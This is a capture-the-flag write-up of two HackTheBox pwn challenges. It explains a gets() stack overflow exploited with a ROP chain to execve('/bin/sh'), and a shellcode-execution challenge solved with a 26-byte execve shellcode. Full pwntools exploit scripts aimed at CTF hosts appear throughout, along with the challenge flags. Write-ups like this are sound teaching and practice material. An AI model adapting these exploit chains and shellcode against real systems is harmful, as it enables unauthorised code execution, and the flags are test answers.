Contents

Neurogrid CTF: Human-Only 2025 | Pwn

Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 4 out of 1337 players. This post covers the Pwn challenges.

Neurogrid CTF: Human-Only 2025

Team Solves Progress


Description: Beneath the shrine’s floorboards lies a small wooden vault, sealed in dust and silence. When opened, it reveals only a single strip of rice paper and a faint scent of incense. It does not ask for gold, or oaths—only a name. Whisper one, and the vault will listen. But be warned: once a name is spoken here, it never truly leaves.

Points: 975 | Difficulty: Easy

A 64-bit statically linked ELF binary that displays ASCII art of a vault and prompts for input. Running it shows:

The Whisper Vault
>

Looking at the disassembly of main at 0x401873:

0000000000401873 <main>:
  401877:   push   %rbp
  401878:   mov    %rsp,%rbp
  40187b:   sub    $0x400,%rsp           # 1024-byte buffer
  ...
  4018a0:   lea    -0x400(%rbp),%rax     # Buffer at rbp-0x400
  4018a7:   mov    %rax,%rdi
  4018af:   call   4121e0 <_IO_gets>     # gets() - no bounds check
  ...
  4018e6:   leave
  4018e7:   ret

The vulnerability is straightforward - gets() reads into a 1024-byte buffer with no size limit. The buffer is at rbp-0x400, so we need 1024 bytes to fill the buffer plus 8 bytes for the saved RBP, giving us an offset of 1032 bytes to overwrite the return address.

Since the binary is statically linked, we have plenty of ROP gadgets available. The goal is to call execve("/bin/sh", NULL, NULL) using syscall 59.

The ROP chain needs to:

  1. Write /bin//sh string to the .data section (at 0x4c50e0)
  2. Set up registers: rdi = pointer to string, rsi = NULL, rdx = NULL
  3. Set rax to 59 and execute syscall
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

offset = 1032

def get_rop_chain():
    rop = b''
    # Write "/bin//sh" to .data
    rop += p64(0x0000000000409ffe)  # pop rsi ; ret
    rop += p64(0x00000000004c50e0)  # @ .data
    rop += p64(0x0000000000450107)  # pop rax ; ret
    rop += b'/bin//sh'
    rop += p64(0x0000000000452875)  # mov qword ptr [rsi], rax ; ret

    # Write NULL terminator
    rop += p64(0x0000000000409ffe)  # pop rsi ; ret
    rop += p64(0x00000000004c50e8)  # @ .data + 8
    rop += p64(0x000000000043ee79)  # xor rax, rax ; ret
    rop += p64(0x0000000000452875)  # mov qword ptr [rsi], rax ; ret

    # Set up execve arguments
    rop += p64(0x0000000000401f8f)  # pop rdi ; ret
    rop += p64(0x00000000004c50e0)  # @ .data ("/bin//sh")
    rop += p64(0x0000000000409ffe)  # pop rsi ; ret
    rop += p64(0x00000000004c50e8)  # @ .data + 8 (NULL)
    rop += p64(0x0000000000485e6b)  # pop rdx ; pop rbx ; ret
    rop += p64(0x00000000004c50e8)  # @ .data + 8 (NULL)
    rop += p64(0x4141414141414141)  # padding for rbx

    # Set rax to 59 (execve syscall number)
    rop += p64(0x000000000043ee79)  # xor rax, rax ; ret
    for _ in range(59):
        rop += p64(0x0000000000478530)  # add rax, 1 ; ret

    rop += p64(0x0000000000401d44)  # syscall
    return rop

def exploit(target):
    if target == 'local':
        p = process('./whisper_vault')
    else:
        p = remote('94.237.59.242', 31649)

    payload = b'A' * offset + get_rop_chain()

    p.recvuntil(b'>')
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else 'local'
    exploit(target)

The 59 add rax, 1 gadgets are verbose but reliable - finding a single mov rax, 59 or pop rax with controlled value would be cleaner but this works.

Flag: HTB{0nly_s1l3nc3_kn0ws_th3_n4m3_48c74cd21cbbc22de18f431344d4a923}


Description: Takashi, the fearless blade of the East, weary from countless battles, now seeks not war—but warmth. His body aches, his spirit hungers. Upon the road, he discovers a sacred haven: the legendary Rice Field Restaurant, known across the land for its peerless grains. But here, the rice is not served—it is earned. Guide Takashi as he prepares his own perfect bowl, to restore his strength and walk the path once more.

Points: 975 | Difficulty: Very Easy

A PIE-enabled 64-bit binary presenting a menu:

1. Collect Rice
2. Cook Rice
3. Quit

The collect_rice function increments a global counter, and cook_rice is where the interesting behavior happens. Looking at the disassembly:

cook_rice:
    # Allocate heap buffer based on rice count
    mov    0x25eb(%rip),%eax    # load rice count
    call   calloc@plt

    # Allocate EXECUTABLE memory via mmap
    mov    $0x7,%edx            # PROT_READ|PROT_WRITE|PROT_EXEC
    mov    $0x22,%ecx           # MAP_PRIVATE|MAP_ANONYMOUS
    call   mmap@plt

    # Read user input into heap buffer
    call   read@plt

    # Copy to executable region
    call   memcpy@plt

    # Execute!
    call   *%rdx                # indirect call to our shellcode

This is an intentional shellcode execution challenge. The program allocates RWX memory, reads user input, copies it there, and jumps to it. The only constraint is the rice counter which starts at 10 and maxes out at 26.

A 26-byte execve("/bin/sh") shellcode fits perfectly:

#!/usr/bin/env python3
from pwn import *

HOST = '83.136.253.132'
PORT = 46451

MENU_PROMPT = b'\xef\xbc\x9e '   # Full-width ">>"
PERCENT_PROMPT = b'\xef\xbc\x85 '  # Full-width "%"
DEFAULT_RICE = 10

context.arch = 'amd64'

shellcode = asm('''
    xor esi, esi
    xor edx, edx
    push 0
    mov rbx, 0x68732f2f6e69622f
    push rbx
    mov rdi, rsp
    push 0x3b
    pop rax
    syscall
''')

def exploit():
    if args.LOCAL:
        p = process('./rice_field')
    else:
        p = remote(HOST, PORT)

    # Collect rice to reach shellcode size
    rice_needed = len(shellcode) - DEFAULT_RICE
    p.recvuntil(MENU_PROMPT)
    p.sendline(b'1')
    p.recvuntil(PERCENT_PROMPT)
    p.sendline(str(rice_needed).encode())

    # Cook rice - triggers shellcode execution
    p.recvuntil(MENU_PROMPT)
    p.sendline(b'2')
    p.recvuntil(PERCENT_PROMPT)
    p.send(shellcode)

    p.interactive()

if __name__ == '__main__':
    exploit()

The full-width Unicode prompts are a minor obstacle - the program uses Japanese-style formatting characters instead of standard ASCII.

Flag: HTB{~Gohan_to_flag_o_tanoshinde_ne~_c850535e925b144c7f3ce313c52841dd}

Related Content